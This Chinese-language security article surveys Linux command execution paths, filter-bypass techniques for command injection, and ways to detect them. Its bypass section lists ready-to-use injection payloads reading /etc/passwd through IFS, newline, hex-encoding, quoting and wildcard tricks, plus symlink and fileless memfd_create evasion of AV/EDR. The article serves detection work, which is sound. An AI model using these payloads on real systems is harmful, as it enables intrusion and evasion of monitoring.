恶意命令绕过与检测

本文研究恶意命令绕过于混淆方式,总结检测思路与方法...

0x01 指令执行方式

1. 通过glibc api执行系统指令

1
2
3
4
5
6
7
8
9
1) system() glibc api

system是linux系统提供的函数调用之一,glibc也提供了对应的封装api

2) exec系列 glibc api

exec系列函数由一组相关的函数组成,它们在进程的启动方式和程序参数的声明上各有不同,但exec系列函数都有一个共同的工作方式,就是把当前进程替换为一个新进程

3) fork() glibc api

2. 通过syscall系统调用执行指令

除了通过glibc调用fork/execv之外,还可以绕过glibc,直接通过汇编触发“int80中断”,从而直接使用操作系统提供的系统调用能力

1
2
3
1) system syscall

2) execve syscall

3. 通过Bash执行指令

1
2
3
4
5
6
7
1) Bash内置指令执行

Shell 内建命令,就是由 Bash 自身提供的命令,而不是文件系统中的某个可执行文件;内建指令不会启动新进程,可以用type指令来查看某个指令是否是Bash内建指令

2) 通过Bash启动第三方新进程(指令)

本质上Bash通过调用execve() glibc api来实现

4. Python执行命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
1) os.execv()

python底层调用了glibc库的execv api来实现进程启动

2) python Multiprocessing类

Unix/Linux下,multiprocessing模块封装了fork()调用,创建出多进程后,每个新进程都拷贝了一份原主进程的完整py代码,新的多进程可以继续执行py代码中指定的callback函数

a. Process(用于创建进程模块):通过python Process类启动的新进程,只会监控到fork事件
b. Pool(用于创建管理进程池):通过python Pool类启动的新进程,底层还是调用的fork

3) 执行中间态缓存文件

python会在执行.py文件的时候,将.py形式的程序编译成中间式文件(byte-compiled)的.pyc文件,可以提前先编译好pyc文件,之后投递到目标机器上直接执行,从而躲避目标机器上IDS的文本内容审查

5. 无文件进程启动方式

进程启动的本质是将一段汇编指令(shellcode)从某种媒介上加载到计算机的内存(RAM)中,并触发操作系统的cpu调度,从某个执行的内存地址中开始按照逻辑顺序执行。

操作系统真正需要的是内存中的shellcode代码以及制定入口点虚拟内存空间,至于这个shellcode从哪里来并不重要,可以是从物理磁盘,也可以是网络IO流,或者是虚拟内存设备。

在Linux系统中实现无文件执行ELF是渗透测试中一种非常有用的技术。这种方法较为隐蔽,可以绕过各种类型的反病毒保护机制、系统完整性保护机制以及基于硬盘监控的防护系统。通过这种方法,我们能够以最小的动静访问目标。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
1) 基于linux内存镜像文件 

可以利用linux文件系统中的共享内存分区来存储进程文件,如

/dev/shm
/run/shm

这些目录实际上是挂载到文件系统上已分配的内存空间,写入到这些目录下的文件不会实际落到物理磁盘上

但使用ls命令可查看这些目录和目录下的进程文件

2) 基于memfd_create创建内存镜像文件

memfd_create这个系统调用。该系统调用与malloc比较类似,但并不会返回指向已分配内存的一个指针,而是返回指向某个匿名文件的文件描述符。该匿名文件以链接(link)形式存放在/proc/pid/fd/文件系统中

a. 将可执行文件载入内存并启动【C语言】:在本地编译并执行一个二进制程序投递载荷,容易被二进制AV/EDR检测与防御阻断

使用行为特征更隐蔽的脚本语言,例如perl/python/powershell,这类语言本身都预装在操作系统中,而且可以在命令行即时执行而不需要落盘文件

b. 使用perl进行memfd_create无文件执行:创建内存匿名文件 -> 将ELF内容写入内存匿名文件 -> 调用exec函数执行匿名内存文件

c. 使用python进行memfd_create无文件执行:使用memfd_create()系统调用来创建匿名文件 -> 使用可执行ELF文件填充该文件 -> 执行该文件,也可以使用fork()多次执行该文件

0x02 绕过姿势

1. 通配符注入

glob 模式(globbing)也被称之为 shell 通配符,shell 通配符 / glob 模式通常用来匹配目录以及文件,而非文本

字符 解释
* 匹配任意长度任意字符
? 匹配任意单个字符
[list] 匹配指定范围内(list)任意单个字符,也可以是单个字符组成的集合
[^list] 匹配指定范围外的任意单个字符或字符集合
[!list] 同[^list]
{str1,str2,...} 匹配 srt1 或者 srt2 或者更多字符串,也可以是集合

shell 元字符

字符 作用
IFS 由 < space > 或 < tab > 或 < enter > 三者之一组成
CR 由 < enter > 产生
= 设定变量
$ 作变量或运算替换

|重导向标准输出
<|重导向标准输入
||命令管线
&|重导向文件描述符,或将命令静默执行
( )|将其内的命令置于 nested subshell 执行,或用于运算或命令替换
{ }|将其内的命令置于 non-named function 中执行,或用在变量替换的界定范围
;|在前一个命令结束时,而忽略其返回值,继续执行下一个命令
&&|在前一个命令结束时,若返回值为 true,继续执行下一个命令
|||在前一个命令结束时,若返回值为 false,继续执行下一个命令
!|执行 history 中的命令

2. 命令注入姿势

a. 无空格绕过

1
2
3
4
5
6
7
8
9
10
11
cat</etc/passwd

{cat,/etc/passwd}

cat$IFS/etc/passwd

echo${IFS}"RCE"${IFS}&&cat${IFS}/etc/passwd

IFS=,;`cat<<<uname,-a`

;ls%09-al%09/home

b. 回车绕过

1
2
3
4
5
$ something%0Acat%20/etc/passwd

;cat>/tmp/hi<<EOF%0ahello%0aEOF
;cat</tmp/hi
hello

c. 编码绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
$ echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"
/etc/passwd

$ cat `echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"`
root:x:0:0:root:/root:/bin/bash

$ abc=$'\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64';cat $abc
root:x:0:0:root:/root:/bin/bash

$ `echo $'cat\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64'`
root:x:0:0:root:/root:/bin/bash

$ xxd -r -p <<< 2f6574632f706173737764
/etc/passwd

$ cat `xxd -r -p <<< 2f6574632f706173737764`
root:x:0:0:root:/root:/bin/bash

$ xxd -r -ps <(echo 2f6574632f706173737764)
/etc/passwd

$ cat `xxd -r -ps <(echo 2f6574632f706173737764)`
root:x:0:0:root:/root:/bin/bash

d. 绕错字符过滤

没有反斜杠和斜杠的命令执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
$ echo ${HOME:0:1}
/

$ cat ${HOME:0:1}etc${HOME:0:1}passwd
root:x:0:0:root:/root:/bin/bash

$ echo . | tr '!-0' '"-1'
/

$ tr '!-0' '"-1' <<< .
/

$ cat $(echo . | tr '!-0' '"-1')etc$(echo . | tr '!-0' '"-1')passwd
root:x:0:0:root:/root:/bin/bash

e. 绕过黑名单单词

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
w'h'o'am'i     # 使用单引号

w"h"o"am"i # 使用双引号

w\ho\am\i # 用反斜杠和斜杠绕过
/\b\i\n/////s\h

who$@ami # 使用$@绕过

echo $0
-> /usr/bin/zsh
echo whoami|$0

who$()ami # 使用$()绕过
who$(echo am)i
who`echo am`i

/???/??t /???/p??s?? # 使用变量扩展绕过

test=/ehhh/hmtc/pahhh/hmsswd
cat ${test//hhh\/hm/}
cat ${test//hh??hm/}

3. execve绕过

绕过execve监控的关键点在于创建软链接,通过创建软链接的方式来混淆命令执行的路径

1
2
3
4
$ ln -s /usr/bin/ps /tmp/pstest

$ strace -f /tmp/pstest
execve("/tmp/pstest", ["/tmp/pstest"], 0x7fff831e0168 /* 26 vars */) = 0

由于execve执行软链接,会自动执行目标文件,不会对软链接进行转换,从而实现隐藏

为避免执行ln命令暴露命令路径,可批量创建软连接

1
cp -s /usr/bin/* /tmp/

0x03 检测方法

1. bash调试功能

利用bash调试功能检测命令注入,检测基于shell元字符的绕过方式,还原原始命令

sh是bash的软连接,本质上还是调用的bash。sh -x可以打印出shell脚本的运行过程,这样就可以看到真正的执行命令;使用sh -x作为沙箱,提取带+号的内容,即可还原命令

2. 文件哈希对比

针对软链接、命令替换等方式可利用文件哈希库对比检测

1
2
3
1) 文件哈希一致,但二进制文件名不同:检测软链接/命令复制重命名

2) 二进制文件名相同,但文件哈希不一致:检测命令替换为恶意文件

3. 命令执行监控

a. 定制 bash 记录方式

定制 bash 方式本质上是为 bash 源程序增加审计日志的功能, 可以据此添加一些操作命令的上下文信息, 但很难记录子进程的信息

缺点

1
2
3
4
1. 容易被绕过, 用户可以使用 csh, zsh 等;
2. 无法记录 shell 脚本内的操作;
3. 过滤规则相对单一;
4. 需要不停的更新 bash 版本, 维护成本高, 否则容易被发行版替换;

b. snoopy 记录方式

snoopy 方式本质上是封装了 execv, execve 系统调用, 以系统预加载(preload)的方式实现记录所有的命令操作。目前大部分系统执行命令时都通过 execv, execve 系统调用执行, 这点和会话无关, 几乎所有的情况下, 只要通过这两个系统调用执行命令, 会将操作行为记录下来

优点

1
2
3
4
5
1. 难以绕过, 只要设置了 PRELOAD, 就肯定会记录;
2. 无论是否存在 tty 会话, 都会记录 execv, execve 相关的命令行操作, 包含详细的进程上下文信息;
3. 可以记录 shell 脚本内部的操作行为, 脚本内的命令行操作大部分都会调用 execv, execve;
4. 可以记录操作行为的参数, 比如指定了用户名, 密码等;
5. 过滤规则丰富, 可以忽略指定 daemon, uid, 也可以仅记录指定的 uid;

缺点

1
2
3
1. 仅支持 execv, execve 相关系统调用的操作;
2. 不设置规则会产生的日志过多, 对日志搜集系统造成很大的负担;
3. 暂不支持过滤敏感信息规则;

过滤规则

snoopy 记录方式能够详细的记录所有的命令操作信息,实际使用过程,可以通过过滤规则来避免产生过多的信息

过滤规则在 (filtering.c - snoopy_filtering_check_chain) 函数实现, 由 log.c - snoopy_log_syscall_exec 函数调用, 过滤规则为事后行为, 即在打印日志的时候判断是否满足过滤规则, 并非事前行为

1
2
3
4
5
6
7
1) 忽略 crond, my-daemon 守护进程, 忽略 nagios 用户

filter_chain = exclude_uid:996;exclude_spawns_of:crond,my-daemon

2) 通过exclude_comm 过滤规则, 忽略以 mysql, mongo 和 redis-cli 工具执行的命令

filter_chain = exclude_uid:992;exclude_comm:mysql,mongo,redis-cli

c. sysdig 记录方式

可以通过 strace 工具来简单追踪进程的行为,strace 程序是基于 ptrace 系统调用实现的, ptrace 为了能够获取到其他系统调用的详细信息, 需要做很多复杂的操作, 如果进程很繁忙, strace 就会对程序产生较大影响,不建议对线上程序使用

sysdig 以内核模块的方式监控获取所有的系统调用, 其使用方式类似 libpcap/tcpdump 的用法, 可以将一段时间内系统调用的数据暂存起来供以后的跟踪分析。对于 系统调用 而言, 用户态层面的操作最终都会陷入到内核态, 由内核去完成对应的功能。所以 sysdig 在内核态也就能很方便的获取到进程的上下文信息;另外 sysdig 以非阻塞(non-blocking), 零拷贝(zero-copy) 的方式获取数据, 所以在实际使用中对在线的业务只有很轻微的影响。

refer: https://github.com/draios/sysdig/wiki/Sysdig-Examples

d. auditd 记录方式

auditd 记录方式 本身存在内核层面(kauditd 进程)的支持, 它实现了一个大而全的框架, 几乎能监控所有想监控的指标, 不管是按照访问模式, 系统调用还是事件类型触发, 都能满足监控需求。因为其提供了内核层面的支持, 所以本质上比起 snoopy(仅封装 execv, execve 系统调用)要更加强大和健全

auditd 整体上为分离的架构, auditctl 可以控制 kauditd 生成记录的策略, kauditd 生成的记录事件会发送到 auditd 守护程序, audisp 可以消费 auditd 的记录到其它地方

name description
auditd audit 守护程序, audit 相关配置的加载,日志配置等都通过 auditd 完成
auditctl 用来控制 kernel audit 相关的规则, 过滤通常使用 auditctl 实时修改
audisp 与auditd 守护程序通信, 将收到的记录信息发送到别处, 比如发到 syslog 中
augenrules, ausearch, autrace, aureport audit 辅助分析的工具

在实际的使用中, 对于connect, accept, execve 等都是日志高产的行为, 过滤策略需设置的足够详细, 比如忽略指定用户, crond 进程等。一些安全工具(比如 go-audit, hids)实现了与 kauditd 内核进程通信, 可以接收 audit 相关的日志, 这种方式替换了 auditd 服务, 灵活性很强, 可以做很多定制功能需求。

e. eBPF 记录方式

eBPF 在较新版本的 Linux 内核中实现, 提供了动态追踪的机制。bpftracebcc 是基于 eBPF 机制实现的工具, 方便大家对系统的调试和排错, bcc 提供了很多工具集, 从应用到内核, 不同层面的工具应有尽有, 比如 execsnoop 即可记录系统中所有的 execv, execve 相关的命令执行

eBPF 仅适用于 Linux 4.1+ 的版本, 在 kernel-4.10 之后的支持才相对全面, 线上在使用的时候尽量选择较高内核版本的发行版(比如 Centos 8, Debian 10 等)。另外 Readhat/Centos 7 从 7.6 (3.10.0-940.el7.x86_64) 版本开始支持 eBPF 特性, 不过内核版本较低, 并没有支持所有的特性

4. 进程创建监控

a. So preload方式

可以通过 so preload 来覆盖 libc.so 中的 execve等函数来监控进程的创建

背景知识

1
2
3
1) Linux 中大部分的可执行程序是动态链接的,常用的有关进程执行的函数例如 execve均实现在 libc.so 这个动态链接库中。

2) Linux 提供了一个 so preload 的机制,允许定义优先加载的动态链接库,方便使用者有选择地载入不同动态链接库中的相同函数。

优点

1
轻量级,只修改库函数代码,不与内核进行交互

缺点

1
2
3
4
5
6
7
8
9
10
11
12
13
1) 只能检测在 preload 之后创建的进程

如bash 所需的动态链接库在其开始运行时就已确定,所以后续添加的 preload 并不会影响到当前 bash

2)无法监控静态链接的程序

一些恶意软件为了降低对环境的依赖性,用的是静态链接,不会加载共享库,这种情况下So preload监控方式会失效

3)容易被攻击者发现并篡改

一些蠕虫木马本身也会向 /etc/ld.so.preload 中写入后门,以方便其对机器的持久控制,这种情况下这种监控方式会失效

4)攻击者可通过 int80 绕过 libc 直接调用系统调用,使这种监控方式失效

Netlink 是一个套接字家族(socket family),它被用于内核与用户态进程以及用户态进程之间的 IPC 通信。

Netlink Connector 是一种 Netlink ,它的 Netlink 协议号是 NETLINK_CONNECTOR,其中 connectors.c 和 cnqueue.c 是 Netlink Connector 的实现代码,而 cnproc.c 是一个应用实例,名为进程事件连接器,可以通过该连接器来实现对进程创建的监控

优点

1
轻量级,在用户态即可获得内核提供的信息。

缺点

1
仅能获取到 pid ,详细信息需要查 /proc/<pid>/,对于瞬时创建的进程,可能有数据丢失

c. Audit

Linux Audit 是 Linux 内核中用来进行审计的组件,可监控系统调用和文件访问,架构如下:

1
2
3
4
5
6
7
1) 用户通过用户态的管理进程配置规则(如图中的 go-audit ,也可替换为常用的 auditd ),并通过 Netlink 套接字通知给内核。

2) 内核中的 kauditd 通过 Netlink 获取到规则并加载。

3) 应用程序在调用系统调用和系统调用返回时都会经过 kauditd ,kauditd 会将这些事件记录下来并通过 Netlink 回传给用户态进程。

4) 用户态进程解析事件日志并输出

优点

1
2
3
1) 组件完善,使用 auditd 软件包中的工具即可满足大部分需求,无需额外开发代码。

2) 相比于 Netlink Connector ,获取的信息更为全。

缺点

1
性能消耗随着进程数量提升有所上升,需要通过添加白名单等配置来限制其资源占用

d. Syscall hook

可以通过安装内核模块的方式来对系统调用进行 hook来监控进程创建

原理

1
目前常用的 hook 方法是通过修改 sys_call_table( Linux 系统调用表)来实现,具体原理是系统在执行系统调用时是通过系统调用号在 sys_call_table中找到相应的函数进行调用,所以只要将 sys_call_table中 execve对应的地址改为我们安装的内核模块中的函数地址即可

优点

1
高定制化,从系统调用层面获取完整信息

缺点

1
兼容性差,需针对不同发行版和内核版本进行定制和测试

0xFF Reference